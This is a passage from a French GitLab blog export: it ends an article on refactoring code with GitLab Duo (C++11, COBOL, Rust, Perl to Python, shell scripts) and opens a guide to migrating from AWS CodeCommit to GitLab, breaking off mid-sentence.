C++11\n\nIl peut arriver que des développeurs commencent à implémenter une nouvelle fonctionnalité ou une étude de faisabilité en utilisant une norme C++ moderne, par exemple la norme C++20, mais que les versions réellement prises en charge par les environnements des entreprises clientes nécessitent des compilateurs plus anciens compatibles C++11. Le retour à une version précédente a un coût. Il faut évaluer quelles fonctionnalités du langage sont toujours prises en charge et anticiper les autres inconvénients qui pourraient survenir.\n\nOuvrez le code source [23.cpp](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-cpp-standards-config-parser/-/blob/main/23.cpp?ref_type=heads) dans l'IDE, sélectionnez-le et saisissez le prompt suivant dans GitLab Duo : \n\n```markdown\n/refactor into C++11, explain the necessary changes and potential problems\n```\n\nRéponse potentielle de GitLab Duo Chat : \n\n```markdown\nThe main changes required to make this code compatible with C++11 are:\n\n1. Remove the C++23 standard comment, as it's no longer applicable.\n2. Replace `std::string::find_first_not_of` and `std::string::find_last_not_of` with C++11 compatible alternatives in the trim function.\n3. Use `const auto&` instead of `auto` for loop variables to avoid unnecessary copying.\n\nPotential problems in the original code:\n\n1. The original code used C++23 features, which might not be widely supported yet.\n2. The `trim` function used `std::string::find_first_not_of` and `std::string::find_last_not_of`, which are not available in C++11.\n3. The use of `auto` instead of `const auto&` in some loops could lead to unnecessary copying of complex objects.\n\nThese issues have been addressed in the refactored version. The `trim` function now uses `std::find_if_not` with lambda functions to achieve the same result in a C++11 compatible way. The use of `const auto&` ensures that no unnecessary copying occurs when iterating over the config map.\n```\n\n![The `trim` function now uses `std::find_if_not` with lambda functions to achieve the same result in a C++11 compatible way](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/duo_refactor_cpp_clion_chat_cpp23_to_11_01.png)\n\n![The use of `const auto&` ensures that no unnecessary copying occurs when iterating over the config map](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/duo_refactor_cpp_clion_chat_cpp23_to_11_02.png)\n\n**Pratique asynchrone**: testez d'autres scénarios de réusinage de version.\n\n### Expliquer et réusiner en COBOL\n\nVous pouvez utiliser GitLab Duo pour expliquer le code source, analyser, corriger et réusiner les programmes COBOL. Bien que je n'aie jamais appris ou codé en COBOL, j'ai trouvé ce [cours de programmation COBOL](https://github.com/openmainframeproject/cobol-programming-course) et ses nombreux exemples utiles.\n\nJ'ai ensuite demandé à GitLab Chat comment démarrer avec COBOL, créer un programme COBOL et compiler un programme COBOL sur macOS.\n\n```markdown\nPlease explain what COBOL is and its syntax\n\nPlease create a COBOL program that shows the first steps\n\nTell me more about the COBOL compiler. Which system do I need? Can I do it on my macOS?\n\n```\n\n![Demande adressée à GitLab Duo Chat pour qu'il explique COBOL et sa syntaxe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/vscode_chat_cobol_generate_example.png)\n\nOuvrez un programme COBOL, sélectionnez le code source, passez à GitLab Duo Chat et envoyez le prompt `/explain` pour expliquer l'objectif et la fonctionnalité.\n\nVous pouvez également affiner les prompts pour obtenir des résumés plus généraux, par exemple :\n\n```markdown\n/explain like I am five\n```\n\n> Conseil : les langages de programmation partagent des algorithmes et des fonctionnalités similaires. GitLab Chat a proposé d'expliquer COBOL en Python. Par conséquent, j'ai ajusté les prompts suivants pour demander une explication en Python.\n\n```markdown\n/explain in a different programming language\n```\n\nVous pouvez également utiliser la commande slash `/refactor` comme prompt dans GitLab Chat pour améliorer la qualité du code, résoudre les problèmes potentiels et essayer de réusiner COBOL en Python.\n\n```markdown\n/refactor fix the environment error\n\n/refactor fix potential problems\n\n/refactor into Python\n```\n\nLa vidéo [GitLab Duo Coffee Chat - Challenge : expliquer et réusiner des programmes COBOL](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-explain-refactor-cobol-program) montre toutes les étapes abordées dans un cas d'utilisation pratique. Elle illustre notamment comment trouver une période manquante : \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/pwlDmLQMMPo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Réusiner d'un langage à un autre\n\nLa modernisation et l'amélioration de la qualité du code nécessitent parfois de changer de langage de programmation. Des prompts de réusinage similaires dans GitLab Duo peuvent accélérer le processus de migration. L'exemple de COBOL avec Python n'est qu'une des nombreuses exigences en vigueur dans les environnements d'entreprise. Examinons d'autres cas d'utilisation.\n\n### Réusiner du C en Rust\n\nAu début de 2024, plusieurs langages de programmation, comme C, ont été accusés de ne pas être à mémoire sécurisée. Les recommandations pour les projets futurs comprennent l'utilisation de [langages à mémoire sécurisée](https://about.gitlab.com/blog/memory-safe-vs-unsafe/) comme Rust. Comment démarrer la migration et quels sont les défis à relever ?\n\nEssayons avec un exemple simple en C. Le code a été généré à l'aide des suggestions de code et devrait contenir les informations de base sur le système d'exploitation, comme le nom, la version et la plateforme. Le code C dispose d'une compatibilité multiplateforme sur Windows, Linux et macOS pour la compilation.\n\n```c\n// Read OS files to identify the platform, name, versions\n// Print them on the terminal\n#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n#include \u003Cstring.h>\n\n#ifdef _WIN32\n    #include \u003Cwindows.h>\n#elif __APPLE__\n    #include \u003Csys/utsname.h>\n#else\n    #include \u003Csys/utsname.h>\n#endif\n\nvoid get_os_info() {\n    #ifdef _WIN32\n        OSVERSIONINFOEX info;\n        ZeroMemory(&info, sizeof(OSVERSIONINFOEX));\n        info.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);\n        GetVersionEx((OSVERSIONINFO*)&info);\n\n        printf(\"Platform: Windows\\n\");\n        printf(\"Version: %d.%d\\n\", info.dwMajorVersion, info.dwMinorVersion);\n        printf(\"Build: %d\\n\", info.dwBuildNumber);\n    #elif __APPLE__\n        struct utsname sys_info;\n        uname(&sys_info);\n\n        printf(\"Platform: macOS\\n\");\n        printf(\"Name: %s\\n\", sys_info.sysname);\n        printf(\"Version: %s\\n\", sys_info.release);\n    #else\n        struct utsname sys_info;\n        uname(&sys_info);\n\n        printf(\"Platform: %s\\n\", sys_info.sysname);\n        printf(\"Name: %s\\n\", sys_info.nodename);\n        printf(\"Version: %s\\n\", sys_info.release);\n    #endif\n}\n\nint main() {\n    get_os_info();\n    return 0;\n}\n```\n\nOuvrez le code source dans [`os.c`](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-c-to-rust/-/blob/897bf57a14bb7be07d842e7f044f93a61456d611/c/os.c) dans JetBrains CLion, par exemple. Sélectionnez le code source et saisissez le prompt `/explain` dans GitLab Chat pour expliquer l'objectif et la fonctionnalité. Entrez ensuite le prompt `/refactor` dans GitLab Chat pour réusiner le code C, puis poursuivez avec : `/refactor into Rust`.\n\nInitialisez un nouveau projet Rust (astuce : demandez à GitLab Duo Chat) et copiez le code source généré dans le fichier `src/main.rs`. Exécutez `cargo build` pour compiler le code.\n\n![Initialisez un nouveau projet Rust et copiez le code source généré dans le fichier `src/main.rs`. Exécution de `cargo build` pour compiler le code.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/jetbrains_clion_c_rust.png)\n\nVous pouvez voir toutes les étapes dans la vidéo [GitLab Duo Coffee Chat : Challenge - Réusiner du C en Rust](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-c-to-rust). Vous verrez en outre une erreur de compilation qui sera corrigée à l'aide de GitLab Chat et de la commande slash `/refactor`. La session montre également comment améliorer la maintenabilité du nouveau code Rust en renforçant la gestion des erreurs. \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/nf8g2ucqvkI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Réusiner du Perl en Python \n\nUn script opérationnel tourne sur des serveurs de production. Son auteur a quitté l'entreprise il y a dix ans et personne ne veut y toucher. Ce problème ne concerne peut-être pas qu'un seul script, mais peut-être plusieurs scripts, voire une application entière. Il a été décidé de tout migrer vers Python 3, dans le but de moderniser le code et de comprendre les changements entre Perl et Python.\n\nRécemment, au cours d'un atelier GitLab Duo, un client a demandé s'il était possible d'effectuer une migration directe avec GitLab Duo. En un mot, la réponse est : oui. Pour clarifier : vous pouvez saisir des prompts plus spécifiques dans GitLab Chat pour réusiner le code Perl en Python, comme dans d'autres exemples de cet article.\n\nOuvrez le code source `script.pl` dans l'IDE, sélectionnez-le et ouvrez GitLab Chat.\n\n```perl\n#!/usr/bin/perl\nuse strict;\nuse warnings;\n\nopen my $md_fh, '\u003C', 'file.md' or die \"Could not open file.md: $!\";\n\nmy $l = 0;\nmy $e = 0;\nmy $h = 0;\n\nwhile (my $line = \u003C$md_fh>) {\n  $l++;\n  if ($line =~ /^\\s*$/) {\n    $e++;\n    next;\n  }\n  if ($line =~ /^#+\\s*(.+)/) {\n    print \"$1\\n\";\n    $h++; \n  }\n}\n\nprint \"\\nS:\\n\"; \nprint \"L: $l\\n\";\nprint \"E: $e\\n\"; \nprint \"H: $h\\n\";\n```\n\nYou can use the following prompts to:\n\n1. `/explain` its purpose, and `/refactor` to improve the code.\n2. `/refactor into Python` pour obtenir un script Python fonctionnel.\n\n![Réusinage en Python](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/pycharm_duo_refactor_perl_python.png)\n\n\n> Astuce : vous pouvez réusiner le code Perl dans d'autres langages cibles. La vidéo [GitLab Duo Coffee Chat : Challenge - Réusiner du Perl en Python](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-perl-python) fournit des exemples avec PHP, Ruby, Rust, Go, Java, VB.NET, C# et d'autres langages.\n> \n> Si vous souhaitez continuer à utiliser des scripts Perl, vous pouvez configurer [Perl comme langage supplémentaire](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/supported_extensions.html#add-support-for-more-languages) en vous servant des suggestions de code de GitLab Duo. GitLab Chat comprend déjà Perl et peut vous aider si vous utilisez des questions et des prompts de commande slash, comme vous pouvez le voir dans la vidéo ci-dessous.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/03HGhxXg9lw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Autres exemples pratiques de réusinage\n\n### Réusiner du JavaScript \n\nEddie Jaoude montre dans un exemple pratique comment réusiner du code JavaScript pour améliorer sa qualité ou ajouter des fonctionnalités. \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/mHn8KOzpPNY\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Réusiner du Bash en ZSH ou SH\n\nJ'utilise Bash comme shell depuis 20 ans et je suis récemment passé à ZSH sur macOS. À cause de ce changement, mon script ne fonctionnait pas et mon terminal affichait des erreurs inconnues. Les limitations du shell sont un autre cas d'utilisation. Elles justifient également le réusinage : certains systèmes d'exploitation ou distributions Linux/Unix ne fournissent pas Bash, mais uniquement SH, par exemple Alpine.\n\n![Réusinage de scripts shell](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/intellj_refactor_shell_scripts.png)\n\nLe [GitLab Duo Coffee Chat : Challenge - Réusiner des scripts shell](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-shell-scripts) fournit un exemple avec un programme C qui peut suivre les fichiers syslog et un script de compilation écrit en Bash. Tout au long du Challenge, GitLab Chat reçoit des requêtes avec des prompts `/explain` et `/refactor` pour améliorer le code. Il est également possible de réusiner du Bash en SH ou ZSH pour assurer la conformité à POSIX. À la fin de la session, GitLab Chat doit fournir cinq implémentations de scripts shell différentes et expliquer les principaux résumés.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/mssqYjlKGzU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Autres cas d'utilisation et tutoriels\n\n- [Documentation : cas d'utilisation de GitLab Duo](https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html)\n- [Tutoriel : meilleurs conseils pour obtenir des suggestions de code alimentées par l'IA efficaces avec GitLab Duo](https://about.gitlab.com/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo/)\n- [Tutoriel : 10 bonnes pratiques pour utiliser GitLab Duo Chat alimenté par l'IA](https://about.gitlab.com/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat/)\n\n## Principaux points à retenir \n\n1. GitLab Duo fournit une aide efficace pour expliquer et réusiner le code. \n2. Il est possible de réusiner le code pour l'adapter aux normes de différents langages et poser des questions de suivi dans GitLab Chat.\n3. Les prompts de suggestion de code peuvent générer des normes spécifiques à des langages de programmation, et la complétion de code respecte le contexte du code actuel.\n4. Le réusinage du code dans de nouveaux langages de programmation contribue aux plans de migration et de modernisation à long terme.\n5. Le code peut être « rétrogradé » à une version précédente lorsque les normes d'un langage sont prises en charge par un ancien système.\n6. GitLab Duo peut expliquer du code complexe et des langages de programmation avec différents exemples de langages de programmation.\n7. La mise à jour vers Claude 3.5 d'Anthropic sur GitLab.com a amélioré une fois de plus la qualité et la rapidité des suggestions de code et de GitLab Chat (il est recommandé de mettre à niveau GitLab Auto-géré vers la version 17.3).\n8. Votre seule limite : votre imagination et les points de friction en production.\n\nApprenez-en plus sur les suggestions de code et les workflows efficaces de GitLab Chat, et commencez à réusiner du code alimenté par l'IA avec GitLab Duo dès aujourd'hui !\n\n> [Commencez votre essai gratuit de GitLab Duo !](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/?type=free-trial&toggle=gitlab-duo-pro_)\n",[699,1069,784],{"slug":2436,"featured":6,"template":683},"refactor-code-into-modern-languages-with-ai-powered-gitlab-duo","content:fr-fr:blog:refactor-code-into-modern-languages-with-ai-powered-gitlab-duo.yml","Refactor Code Into Modern Languages With Ai Powered Gitlab Duo","fr-fr/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo.yml","fr-fr/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo",{"_path":2442,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2443,"content":2449,"config":2455,"_id":2457,"_type":16,"title":2458,"_source":17,"_file":2459,"_stem":2460,"_extension":20},"/fr-fr/blog/ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab",{"title":2444,"description":2445,"ogTitle":2444,"ogDescription":2445,"noIndex":6,"ogImage":2446,"ogUrl":2447,"ogSiteName":841,"ogType":842,"canonicalUrls":2447,"schema":2448},"Migrer d'AWS CodeCommit vers GitLab : le guide complet ","Ce tutoriel vous explique comment migrer depuis les services Amazon Web Services (AWS) vers la plateforme DevSecOps de GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097810/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2828%29_4mi0l4wzUa5VI4wtf8gInx_1750097810027.png","https://about.gitlab.com/blog/ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Migrer d'AWS CodeCommit vers GitLab : le guide complet \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tsukasa Komatsubara\"},{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"},{\"@type\":\"Person\",\"name\":\"Samer Akkoub\"},{\"@type\":\"Person\",\"name\":\"Bart Zhang\"}],\n        \"datePublished\": \"2024-08-26\",\n      }",{"title":2444,"description":2445,"authors":2450,"heroImage":2446,"date":2432,"body":2453,"category":676,"tags":2454,"updatedDate":2328},[2386,871,2451,2452],"Samer Akkoub","Bart Zhang","Le 25 juillet 2024, AWS a communiqué une annonce importante concernant son service CodeCommit : AWS a décidé de fermer l'accès des nouveaux clients à CodeCommit. Bien que les clients existants puissent continuer à utiliser ce service, AWS n'introduira pas de nouvelles fonctionnalités, concentrant uniquement son attention sur la sécurité, la disponibilité et l'amélioration des performances.\n\nÀ la suite de cette annonce, les équipes de développement ont commencé à envisager de migrer leurs dépôts vers d'autres fournisseurs Git. En réponse à ces changements, nous avons rédigé ce guide complet dans le but d'aider les équipes à migrer vers GitLab et à s'intégrer avec d'autres services AWS.\n\n**Remarque :** pour en savoir plus sur les recommandations officielles d'AWS en matière de migration, veuillez consulter [leur article de blog](https://aws.amazon.com/blogs/devops/how-to-migrate-your-aws-codecommit-repository-to-another-git-provider/ \"Article de blog d'AWS annonçant l’arrêt d'AWS CodeCommit\").\n\n## À propos de ce guide\n\nCe guide contient des informations complètes destinées aux équipes de développement qui utilisent GitLab et qui envisagent une intégration avec les services AWS, ou à celles qui envisagent de migrer des dépôts [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ? \") hébergés sur AWS vers GitLab.com. \n\nNotre guide est composé de quatre sections principales :\n\n- __Migration en parallèle vers GitLab :__ nous vous expliquons comment migrer progressivement des dépôts existants hébergés sur AWS vers GitLab.com, tout en minimisant les risques.\n\n- __Intégration avec AWS CodeBuild :__ nous détaillons les étapes à suivre pour intégrer les dépôts GitLab avec AWS CodeBuild, et mettre en place un environnement d'[intégration continue (CI)](https://about.gitlab.com/fr-fr/topics/ci-cd/benefits-continuous-integration/ \"Qu'est-ce que l'intégration continue (CI) ?\") puissant.\n\n- __Intégration avec AWS CodePipeline :__ nous décrivons comment connecter les dépôts GitLab avec AWS CodePipeline pour construire des pipelines de [livraison continue (CD)](https://about.gitlab.com/fr-fr/topics/continuous-delivery/ \"Qu'est-ce que la livraison continue (CD) ?\") efficaces.\n\n- __Intégrations downstream pour AWS CodePipeline et CodeStar Connections :__ nous expliquons comment tirer parti des connexions entre GitLab et AWS pour disposer d'un accès étendu aux services, ce qui vous ouvre différentes possibilités d'intégration dans l'écosystème AWS.\n\nGrâce à ce guide, vous apprendrez à construire un workflow de développement efficace et flexible en combinant les puissantes fonctionnalités de [GitLab et AWS](https://about.gitlab.com/fr-fr/partners/technology-partners/aws/ \"GitLab et AWS\").\n\n## Section 1 : migration en parallèle vers GitLab \n\nSi vous envisagez de migrer des dépôts Git hébergés sur AWS vers GitLab.com, cette section présente des méthodes pour réaliser la migration progressivement tout en minimisant les risques. En mettant à profit les capacités de mise en miroir de GitLab, vous pouvez maintenir les flux de développement existants tout en testant le nouvel environnement.\n\n### Pourquoi la migration en parallèle est-elle importante ?\n\nLes migrations de systèmes à grande échelle comportent toujours des risques, en particulier des impacts potentiels sur les projets de développement en cours, les intégrations existantes et les processus automatisés. L'adoption d'une approche de migration en parallèle offre les avantages suivants :\n\n1. __Une minimisation des risques :__ testez le nouvel environnement tout en maintenant les systèmes existants opérationnels \n2. __Une transition fluide :__ les équipes de développement peuvent s'habituer progressivement au nouveau système.\n3. __Des tests d'intégration :__ testez minutieusement toutes les intégrations et l'automatisation dans le nouvel environnement.\n4. __Une pérennité :__ donnez aux équipes les moyens de migrer progressivement vers GitLab [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\"), tout en continuant à utiliser le CI existant.\n\nLa migration en parallèle n'est pas nécessaire si vous savez déjà que vous souhaitez passer directement à GitLab.\n\n### Quelles sont les étapes pour migrer vers GitLab.com ? \n\n#### Étape 1 : configurez GitLab.com\n\n- Vérifiez si votre entreprise utilise déjà un groupe sur GitLab.com et si elle a mis en place une authentification unique (SSO). Si c'est le cas, vous vous servirez des deux.\n- Si votre entreprise n'a pas de compte sur GitLab.com, accédez au [site de GitLab](www.gitlab.com/fr-fr) et créez un nouveau compte ou connectez-vous à votre compte existant.\n- Créez un nouvel espace de nommage pour l'entreprise (un groupe au niveau racine sur GitLab.com).\n- Choisissez un nom disponible qui reflète l'ensemble de votre entreprise.\n\n#### Étape 2 : importez le dépôt\nPour effectuer la migration en parallèle, utilisez la fonctionnalité de mise en miroir de type « pull » de GitLab. Elle vous permet de synchroniser automatiquement les modifications des dépôts hébergés sur AWS vers GitLab.com.\n\n1. Accédez au groupe cible GitLab.com.\n2. En haut à droite, cliquez sur « Nouveau projet ».\n3. Sur la page « Créer un nouveau projet », cliquez sur « Importer un projet ».\n4. Sur la page « Importer un projet », cliquez sur « Dépôt par URL ».\n5. Saisissez l'URL de votre dépôt hébergé sur AWS dans le champ « URL du dépôt Git ».\n6. Sous le champ URL du dépôt Git, cochez « Dépôt miroir ».\n7. Configurez ensuite l'authentification. Dans la console AWS CodeCommit, sélectionnez l'URL du clone du dépôt que vous allez migrer. Si vous prévoyez d'importer des dépôts CodeCommit dans GitLab, vous pouvez utiliser l'URL HTTPS de CodeCommit pour cloner le dépôt en utilisant la fonctionnalité de mise en miroir du dépôt de GitLab. Vous devrez également fournir vos identifiants de connexion Git d'AWS pour votre utilisateur IAM (Identity and Access Management) dans GitLab. Reportez-vous à ce [guide](https://docs.aws.amazon.com/codecommit/latest/userguide/setting-up-gc.html) pour créer des identifiants de connexion Git pour AWS CodeCommit.\n\n![URL du clone](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/clone-url-screenshot__1__aHR0cHM6_1750097822121.png)\n\nCette configuration effectuera automatiquement un pull des modifications du dépôt hébergé sur AWS vers GitLab.com. La fréquence par défaut est de cinq minutes.\n\nPour plus d'informations, consultez notre [documentation sur la fonctionnalité de mise en miroir du dépôt de GitLab](https://docs.gitlab.com/ee/user/project/repository/mirror/).\n\n#### Étape 3 : testez et validez les intégrations\n\n1. __[Pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") :__ configurez le fichier `.gitlab-ci.yml` dans [GitLab CI](https://about.gitlab.com/fr-fr/blog/ci-deployment-and-environments/ \"Comment déployer du code dans des environnements multiples avec GitLab CI\") pour répliquer les pipelines existants. Plus d'informations sur [la planification d'une migration vers GitLab CI/CD à partir d'autres outils CI](https://docs.gitlab.com/ee/ci/migration/plan_a_migration.html) sont à votre disposition dans notre documentation.\n2. Gestion des tickets : importez les tickets du projet et testez les workflows.\n3. Revue de code : configurez le processus de merge request et testez les workflows de revue.\n#### Étape 4 : migrez progressivement\n\n1. Commencez par des projets de petite envergure ou non critiques pour vous habituer à travailler sur GitLab.com.\n2. Proposez une formation aux membres de votre équipe et laissez-leur le temps de s'adapter aux nouveaux workflows.\n3. Migrez les projets progressivement en vous assurant que les intégrations et les workflows fonctionnent correctement.\n\nPour plus d'informations, consultez la section [Automatisation des migrations de CodeCommit vers GitLab](https://gitlab.com/guided-explorations/aws/migrating-from-codecommit-to-gitlab/-/blob/main/migrating_codecommit_to_gitlab.md).\n\n#### Étape 5 : finalisez la migration\nUne fois que vous avez terminé tous les tests et validations et que votre équipe s'est habituée au nouvel environnement, planifiez une migration complète. Pour chaque projet :\n\n1. Fixez une date de migration et informez toutes les parties prenantes.\n2. Effectuez la synchronisation finale des données.\n3. Supprimez les paramètres de mise en miroir du projet GitLab.\n4. Passez les dépôts hébergés sur AWS en lecture seule et transférez tous les projets de développement vers GitLab.com.\n\n#### Étape 6 : évaluez l'adoption de nouvelles capacités\n\nAvec GitLab, la collaboration et l'automatisation des workflows offrent aux équipes de développement beaucoup plus d'opportunités qu’avec CodeCommit. Comme le processus de merge request est particulièrement sophistiqué par rapport à CodeCommit, cela peut prendre un peu de temps pour comprendre les capacités des fonctionnalités. \n\nUne fois que les dépôts sont stables sur GitLab, il est très facile d'expérimenter GitLab CI/CD en parallèle d'une solution existante. Les équipes peuvent prendre le temps de perfectionner leur automatisation GitLab CI/CD sans affecter les workflows de production.\n\nLa gestion des artefacts GitLab est également très performante, notamment la fonctionnalité Releases et les nombreux registres de paquet.\n\n### En résumé\nEn adoptant une approche de migration en parallèle vers GitLab, vous pouvez réaliser une transition en douceur tout en minimisant les risques. Ce processus permet aux équipes de s'adapter progressivement au nouvel environnement et de s'assurer que toutes les intégrations et automatisations fonctionnent correctement. \n\n## Section 2 : intégrez GitLab avec AWS CodeBuild\n\nSi vous souhaitez compiler et tester du code à partir de dépôts GitLab à l'aide d'AWS CodeBuild, notre guide complet vous aidera à mettre en place un pipeline CI efficace.\n\n### Prérequis\n\n- Compte GitLab.com\n- Compte AWS\n- AWS CLI (configurée)\n\n### Étape 1 : créez une connexion entre GitLab et AWS CodeStar Connections\n\n1. Connectez-vous à la console de gestion AWS et accédez au service AWS CodeBuild.\n2. Sélectionnez « Paramètres » > « Connexions » dans le panneau de navigation de gauche.\n3. Cliquez sur le bouton « Créer une connexion ».\n4. Choisissez « GitLab » comme fournisseur.\n5. Donnez un nom à la connexion et cliquez sur « Connecter à GitLab ».\n6. Vous serez redirigé vers la page d'authentification de GitLab.\n7. Approuvez les autorisations nécessaires.\n8. Une fois la connexion effectuée, son statut passera à « Disponible ».\n\n![Configuration de CodeStar Connect](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codestar-connections-setup_aHR0cHM6_1750097822122.png)\n\n### Étape 2 : créez un projet AWS CodeBuild\n\n1. Cliquez sur « Créer un projet de construction » dans le tableau de bord d'AWS CodeBuild.\n2. Saisissez le nom du projet et une description.\n3. Pour les paramètres source, sélectionnez « GitLab » comme fournisseur.\n4. Choisissez la connexion que vous venez de créer, puis indiquez la branche et le dépôt GitLab.\n\n![Ajout d'un projet CodeBuild](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codepipeline_step_3_add_codebuild_aHR0cHM6_1750097822123.png)\n\n**Remarque : à partir de l'étape 3, veuillez configurer les paramètres en fonction de votre environnement et de vos besoins spécifiques.**\n\n### En résumé\nCette section détaille comment intégrer les dépôts GitLab avec AWS CodeBuild. Cette configuration met en place un pipeline d'[intégration continue](https://about.gitlab.com/fr-fr/topics/ci-cd/benefits-continuous-integration/ \"Qu'est-ce que l'intégration continue (CI) ?\") où les modifications de code effectuées dans GitLab sont automatiquement compilées et testées à l'aide d'AWS CodeBuild.\n\n## Section 3 : intégrez GitLab avec AWS CodePipeline\n\nCe guide détaillé vous apportera les informations nécessaires si vous souhaitez mettre en œuvre la livraison continue à partir de dépôts GitLab à l'aide d'AWS CodePipeline. L'intégration est encore plus facile maintenant que GitLab est un fournisseur AWS CodeStar Connections.\n\n### Prérequis\n\n- Compte GitLab.com\n- Compte AWS\n- AWS CLI (configurée)\n\n### Étape 1 : créez une connexion entre GitLab et AWS CodeStar Connections\n\n1. Connectez-vous à la console de gestion AWS et accédez au service AWS CodePipeline.\n2. Sélectionnez « Paramètres » > « Connexions » dans le panneau de navigation de gauche.\n3. Cliquez sur le bouton « Créer une connexion ».\n4. Choisissez « GitLab » comme fournisseur.\n5. Donnez un nom à la connexion et cliquez sur « Connecter à GitLab ».\n6. Vous serez redirigé vers la page d'authentification de GitLab.\n7. Approuvez les autorisations nécessaires.\n8. Une fois la connexion effectuée, son statut passera à « Disponible ».\n\n![Configuration de CodeStar Connections](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codestar-connections-setup_aHR0cHM6_1750097822122.png)\n\n### Étape 2 : créez un pipeline AWS CodePipeline\n\n1. Cliquez sur « Créer un pipeline » dans le tableau de bord d'AWS CodePipeline.\n2. Donnez un nom au pipeline et cliquez sur « Suivant ».\n3. Sélectionnez « GitLab » comme fournisseur source.\n4. Choisissez la connexion que vous venez de créer, puis indiquez la branche et le dépôt GitLab.\n5. Sélectionnez le type de déclencheur : vous pouvez déclencher l'exécution du pipeline AWS CodePipeline en fonction d'événements pull ou push pour des branches et des types de fichiers spécifiques au sein de votre dépôt.\n\n![Ajout du fournisseur source](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codestar-connections-setup_aHR0cHM6_1750097822125.png)\n\n![Ajout d'une configuration source](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codepipeline_step_2_source_provider_aHR0cHM6_1750097822127.png)\n\n**Remarque : à partir de l'étape 3, veuillez configurer les paramètres en fonction de votre environnement et de vos besoins spécifiques.**\n\n### En résumé \nCette section explique comment intégrer les dépôts GitLab avec AWS CodePipeline. Cette configuration crée un pipeline de livraison continue où les modifications de code effectuées dans GitLab sont automatiquement déployées dans votre environnement AWS.\n\n## Section 4 : migrez vers GitLab\n\nL'intégration de GitLab avec AWS vous donne accès à de puissantes fonctionnalités pour optimiser vos workflows de développement et de déploiement. Elle vous aide aussi à résoudre vos problèmes de gestion du code source. Cette intégration peut être réalisée de plusieurs manières, qui offrent chacune des avantages uniques :\n\n- L'utilisation d'AWS CodeStar Connections pour associer GitLab aux services AWS favorise la cohérence du workflow en permettant la connexion de dépôts Git externes, comme GitLab, à divers services AWS. Cette configuration prend en charge les compilations automatisées, les déploiements et d'autres actions essentielles directement à partir de votre dépôt GitLab, ce qui optimise l'intégration de votre processus de développement.\n\n- La connexion de GitLab avec AWS CodePipeline à l'aide de AWS CodeStar Connections fait passer l'automatisation au niveau supérieur en vous permettant de créer un pipeline CI/CD complet. Cette approche intègre GitLab avec AWS CodePipeline. Vous pouvez ainsi 